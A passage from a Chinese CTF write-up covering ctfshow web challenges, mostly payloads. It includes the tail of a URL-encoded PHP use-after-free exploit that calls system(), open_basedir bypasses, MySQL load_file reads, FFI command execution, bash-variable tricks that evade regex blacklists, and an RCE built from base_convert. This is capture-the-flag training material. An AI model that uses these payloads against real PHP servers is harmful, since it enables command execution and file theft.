0%20%20%20%20%20%20%20%20%20%20%20%24address%20%3C%3C%3D%208%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%7C%3D%20ord(%24str%5B%24p%20%2B%20%24j%5D)%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24address%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20ptr2str(%24ptr%2C%20%24m%20%3D%208)%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%20%3D%200%3B%20%24i%20%3C%20%24m%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20sprintf(%22%25c%22%2C%20(%24ptr%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24ptr%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24out%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20write(%26%24str%2C%20%24p%2C%20%24v%2C%20%24n%20%3D%208)%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%24i%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%20%3D%200%3B%20%24i%20%3C%20%24n%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24str%5B%24p%20%2B%20%24i%5D%20%3D%20sprintf(%22%25c%22%2C%20(%24v%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24v%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20leak(%24addr%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20global%20%24abc%2C%20%24helper%3B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%200x68%2C%20%24addr%20%2B%20%24p%20-%200x10)%3B%0A%20%20%20%20%20%20%20%20%24leak%20%3D%20strlen(%24helper-%3Ea)%3B%0A%20%20%20%20%20%20%20%20if%20(%24s%20!%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%25%3D%202%20%3C%3C%20(%24s%20*%208)%20-%201%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24leak%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20parse_elf(%24base)%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%24e_type%20%3D%20leak(%24base%2C%200x10%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20%24e_phoff%20%3D%20leak(%24base%2C%200x20)%3B%0A%20%20%20%20%20%20%20%20%24e_phentsize%20%3D%20leak(%24base%2C%200x36%2C%202)%3B%0A%20%20%20%20%20%20%20%20%24e_phnum%20%3D%20leak(%24base%2C%200x38%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20for%20(%24i%20%3D%200%3B%20%24i%20%3C%20%24e_phnum%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24header%20%3D%20%24base%20%2B%20%24e_phoff%20%2B%20%24i%20*%20%24e_phentsize%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_type%20%3D%20leak(%24header%2C%200%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_flags%20%3D%20leak(%24header%2C%204%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_vaddr%20%3D%20leak(%24header%2C%200x10)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_memsz%20%3D%20leak(%24header%2C%200x28)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%206)%20%7B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_addr%20%3D%20%24e_type%20%3D%3D%202%20%3F%20%24p_vaddr%20%3A%20%24base%20%2B%20%24p_vaddr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20if%20(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%205)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24text_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%0A%20%20%20%20%20%20%20%20if%20(!%24data_addr%20%7C%7C%20!%24text_size%20%7C%7C%20!%24data_size)%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20false%3B%0A%0A%20%20%20%20%20%20%20%20return%20%5B%24data_addr%2C%20%24text_size%2C%20%24data_size%5D%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_basic_funcs(%24base%2C%20%24elf)%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20list(%24data_addr%2C%20%24text_size%2C%20%24data_size)%20%3D%20%24elf%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%20%3D%200%3B%20%24i%20%3C%20%24data_size%20%2F%208%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20%24i%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20(%24deref%20!%3D%200x746e6174736e6f63)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20(%24i%20%2B%204)%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20(%24deref%20!%3D%200x786568326e6962)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%24data_addr%20%2B%20%24i%20*%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_binary_base(%24binary_leak)%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%24base%20%3D%200%3B%0A%20%20%20%20%20%20%20%20%24start%20%3D%20%24binary_leak%20%26%200xfffffffffffff000%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%20%3D%200%3B%20%24i%20%3C%200x1000%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%3D%20%24start%20-%200x1000%20*%20%24i%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24addr%2C%200%2C%207)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20(%24leak%20%3D%3D%200x10102464c457f)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20%24addr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_system(%24basic_funcs)%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%24addr%20%3D%20%24basic_funcs%3B%0A%20%20%20%20%20%20%20%20do%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_entry%20%3D%20leak(%24addr)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_name%20%3D%20leak(%24f_entry%2C%200%2C%206)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20(%24f_name%20%3D%3D%200x6d6574737973)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20leak(%24addr%20%2B%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%2B%3D%200x20%3B%0A%20%20%20%20%20%20%20%20%7D%20while%20(%24f_entry%20!%3D%200)%3B%0A%20%20%20%20%20%20%20%20return%20false%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20trigger_uaf(%24arg)%0A%20%20%20%20%7B%0A%0A%20%20%20%20%20%20%20%20%24arg%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%20%20%20%20%20%20%20%20%24vuln%20%3D%20new%20Vuln()%3B%0A%20%20%20%20%20%20%20%20%24vuln-%3Ea%20%3D%20%24arg%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if%20(stristr(PHP_OS%2C%20'WIN'))%20%7B%0A%20%20%20%20%20%20%20%20die('This%20PoC%20is%20for%20*nix%20systems%20only.')%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24n_alloc%20%3D%2010%3B%0A%20%20%20%20%24contiguous%20%3D%20%5B%5D%3B%0A%20%20%20%20for%20(%24i%20%3D%200%3B%20%24i%20%3C%20%24n_alloc%3B%20%24i%2B%2B)%0A%20%20%20%20%20%20%20%20%24contiguous%5B%5D%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%0A%20%20%20%20trigger_uaf('x')%3B%0A%20%20%20%20%24abc%20%3D%20%24backtrace%5B1%5D%5B'args'%5D%5B0%5D%3B%0A%0A%20%20%20%20%24helper%20%3D%20new%20Helper%3B%0A%20%20%20%20%24helper-%3Eb%20%3D%20function%20(%24x)%20%7B%0A%20%20%20%20%7D%3B%0A%0A%20%20%20%20if%20(strlen(%24abc)%20%3D%3D%2079%20%7C%7C%20strlen(%24abc)%20%3D%3D%200)%20%7B%0A%20%20%20%20%20%20%20%20die(%22UAF%20failed%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24closure_handlers%20%3D%20str2ptr(%24abc%2C%200)%3B%0A%20%20%20%20%24php_heap%20%3D%20str2ptr(%24abc%2C%200x58)%3B%0A%20%20%20%20%24abc_addr%20%3D%20%24php_heap%20-%200xc8%3B%0A%0A%20%20%20%20write(%24abc%2C%200x60%2C%202)%3B%0A%20%20%20%20write(%24abc%2C%200x70%2C%206)%3B%0A%0A%20%20%20%20write(%24abc%2C%200x10%2C%20%24abc_addr%20%2B%200x60)%3B%0A%20%20%20%20write(%24abc%2C%200x18%2C%200xa)%3B%0A%0A%20%20%20%20%24closure_obj%20%3D%20str2ptr(%24abc%2C%200x20)%3B%0A%0A%20%20%20%20%24binary_leak%20%3D%20leak(%24closure_handlers%2C%208)%3B%0A%20%20%20%20if%20(!(%24base%20%3D%20get_binary_base(%24binary_leak)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20determine%20binary%20base%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if%20(!(%24elf%20%3D%20parse_elf(%24base)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20parse%20ELF%20header%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if%20(!(%24basic_funcs%20%3D%20get_basic_funcs(%24base%2C%20%24elf)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20basic_functions%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if%20(!(%24zif_system%20%3D%20get_system(%24basic_funcs)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20zif_system%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%0A%20%20%20%20%24fake_obj_offset%20%3D%200xd0%3B%0A%20%20%20%20for%20(%24i%20%3D%200%3B%20%24i%20%3C%200x110%3B%20%24i%20%2B%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%20%24fake_obj_offset%20%2B%20%24i%2C%20leak(%24closure_obj%2C%20%24i))%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20write(%24abc%2C%200x20%2C%20%24abc_addr%20%2B%20%24fake_obj_offset)%3B%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x38%2C%201%2C%204)%3B%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x68%2C%20%24zif_system)%3B%0A%0A%20%20%20%20(%24helper-%3Eb)(%24cmd)%3B%0A%20%20%20%20exit()%3B%0A%7D%0A%0Actfshow(%22cat%20%2Fflag0.txt%22)%3B%0Aob_end_flush()%3B
但这玩意儿仅限 unix,因此我没成功回显,这里payload是抄的.....
web73
使用遍历获取目录
c=$a=scandir("/");foreach($a as $key=>$value){echo $key."=>".$value;}exit();
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit();
包含试试
c=include('flagc.txt');exit();
web74
扫描目录
scandir()被禁用,用DirectoryIterator类
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit();
c=$a=new DirectoryIterator("/");foreach($a as $key=>$value){echo $key."=>".$value;}exit();
包含flagx.txt即可,c=include('/flagx.txt');exit();
web75
用上面的glob协议扫描flag在flag36.txt
这道题的payload不是很懂,利用sql语句绕过open_basedir和disable_function
mysql的连接参数可以通过前面几个题拿到 ,这里可以参考通过sql数据库读取文件
这里直接上payload
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);
web76
思路跟上题一样,payload如下
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);
web77
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}
依旧先用用上面的glob协议扫描flag在flag36x.txt
题目提示环境为PHP7.4,这道题是利用FFI拓展,payload如下
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数
c=?><?php $ffi = FFI::cdef("int system(const char *command);");$ffi->system("/readflag >flag.txt");exit();
传入payload之后访问flag.txt即可
web118
查看提示,这道题用到了linux的内置变量.
fuzz尝试之后发现只有大写字母和${}:?.~等等字符可以通过,可以使用bash内置变量进行利用
这里附上演示示例
┌──(root?kali)-[~]
└─# echo ${PWD}
/root
┌──(root?kali)-[~]
└─# echo ${PWD:0:1} #表示从0下标开始的第一个字符
/
#从结尾开始往前的第一个字符:从下标零对应的字符,然后往后读一个字符
比如echo ${PWD:~2:2} 输出oo
┌──(root?kali)-[~]
└─# echo ${PWD:~0:1}
t
┌──(root?kali)-[~]
└─# echo ${PWD:~0}
t
┌──(root?kali)-[~]
└─# echo ${PWD:~A} #所以字母和0具有同样作用
t
┌──(root?kali)-[~]
└─# echo ${PATH}
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
┌──(root?kali)-[~]
└─# echo ${PATH:~A}
n
┌──(root?kali)-[~]
└─# ls
Desktop Documents Downloads flag.txt Music Pictures Public Templates Videos
┌──(root?kali)-[~]
└─# ${PATH:~A}l flag.txt
1 flag{test}
${PWD} 返回工作目录(你当前所在的目录)
可以使用切片取得返回的字母 例:${PWD:0:1}
同时可以利用取反号~取变量的后几位 例:${PWD:~0}
0也可以用字母代替 例:${PWD:~A} 返回结果和 ${PWD:~0}相同
${PATH} 通常是bin
$IFS 内部域分隔符 默认为空白(空格, 制表符,和换行符)
payload如下:
${PATH:~A}${PWD:~A}$IFS????.??? #nl flag.php
//其他
${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???
web119
这次在前面的基础上把path给禁了,也就是我们无法获得n这个字母,也就无法构成了nl命令。接下来我们尝试构造一下/bin/cat
,而想要匹配到我们至少需要一个/
符号和一个cat
中的一个字母,这里使用${SHLVL}
来配合构造/
SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。
一般给的权限都是www-data,所以我们用${USER}
可以获得“www-data”,而我们要取到at的话需要${USER:~2:2}
,但数字是被禁了,所以接下来我们还需要想想怎么构造出2,翻了翻,这要什么来什么了,看见php的版本是7.3.22,正好包含数字2,所以利用PHP_VERSION
payload1如下:
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???
# pwd=/var/www/html
# ${#}是0,${SHLVL}为1
# USER=www-data
# payload即为 /???/?at ????.??? 即/bin/cat flag.php
payload2:
PHP_CFLAGS=-fstack-protector-strong # 通过前面的题配置文件获得获得
PHP_VERSION=7.3.22 # php版本
SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时${SHLVL}=2
${PHP_CFLAGS:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}} ????.???
# PHP_CFLAGS=PHP_CFLAGS=-fstack-protector-strong
# PHP_VERSION=7.3.22
# ${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}是3
# tac flag.txt
web120
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/x09|x0a|[a-z]|[0-9]|PATH|BASH|HOME|/|(|)|[|]|\\|+|-|!|=|^|*|x26|\%|<|>|'|"|`|||,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>
这次限制payload长度在65以内,上题我们payload达到99的长度,所以我们适当减少一下,我们就不取www-data中的at,只取a进行匹配,尝试构造如下
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~A}? ????.???
但发现长度是66还是超了,接着我们把${#}去掉,那么那个位置默认为0,也是可以的,最终payload如下:
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
web121
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/x09|x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|/|(|)|[|]|\\|+|-|_|~|!|=|^|*|x26|\%|<|>|'|"|`|||,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>
这次把USER给禁了,首先我们现在可以利用的是PWD,也就是“/var/www/html”,对应了一下bin中的命令,发现我们可以取r来构造/bin/rev
取反命令读取文件,也就是我们需要构造出${PWD:3:1}
的效果
这里我们可以用${IFS}和${#}分别替代
${#IFS}在ubuntu等系统中值为3,我在kali中测试值为4
${#}为添加到shell的参数个数,${##}则为值1
所以构成payload如下
code=${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???
web122
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/x09|x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|/|(|)|[|]|\\|+|-|_|~|!|=|^|*|x26|#|%|>|'|"|`|||,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>
这次把pwd和#都给禁了,这次我们换另一个命令/bin/base64
,这次放开了HOME,我们就用HOME来获取/
,数字1的话我们没法使用${##}
了,这里使用$?
$? 最后运行的命令的结束代码(返回值)即执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误)
佬找的几个报错对应的返回值
"OS error code 1: Operation not permitted"
"OS error code 2: No such file or directory"
"OS error code 3: No such process"
"OS error code 4: Interrupted system call"
"OS error code 5: Input/output error"
"OS error code 6: No such device or address"
"OS error code 7: Argument list too long"
"OS error code 8: Exec format error"
"OS error code 9: Bad file descriptor"
"OS error code 10: No child processes"
利用<A
的报错就能返回值1,根据题目fuzz提示,后面的base64中的4我们可以利用${RANDOM}
来获得(因为具有随机性,所以要多尝试直到随机出4来),到这里思路很清晰了,构造payload
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
当然如果你懒的话,用佬的脚本跑
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/19 12:17
# blog: www.wlhhlc.top
import requests
url = "http://3f405f9a-8ca5-4519-aef8-95943df5d5de.chall.ctf.show:8080/"
data = {'code': r'<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???'}
while True:
result = requests.post(url=url, data=data)
if "PD9waHA" in result.text:
print(result.text)
break
web124
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 收集自网络
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-06 14:04:45
*/
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', ' ', '
', '
',''', '"', '`', '[', ']'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_x7f-xff][a-zA-Z_0-9x7f-xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
参考大佬
分析一波源码,get传参c,并且长度不能超过80,设置了黑名单和白名单和正则过滤。按照提示我们去找找一些数学函数进行使用,这么多白名单也注定了有多种payload,这里我使用base_convert()
和getallheaders
配合使用
具体用法可以参考:PHP base_convert() 函数
注意,因为正则会匹配字母,所以我们需要通过base_convert()
进行一个转换
echo base_convert('system',36,10);
//得到1751504350,从36进制转换到10进制,36进制包含10个数字和26个字母
echo base_convert('getallheaders',30,10);
//得到8768397090111664438,这里不使用36进制是因为精度会丢失,尝试到30的时候成功
payload如下:
?c=$pi=base_convert,$pi(1751504350,10,36)($pi(8768397090111664438,10,30)(){1})
这里注意的是箭头处要空两行(但我不知道为啥)否则不会回显
这里思考了一下,为何?这个通配符在上述构造payload时,不能将全部字母替换为?;因为虽然?代表任意字符,但如果你输入???,那么他回显的结果可能会很多,因此系统不知道你认定的是哪个,于是不会成功执行,倘若你在前面加一个c??,那么根据他就会在系统内识别为cat这样就能成功执行(说的有点混乱,大体意思还行).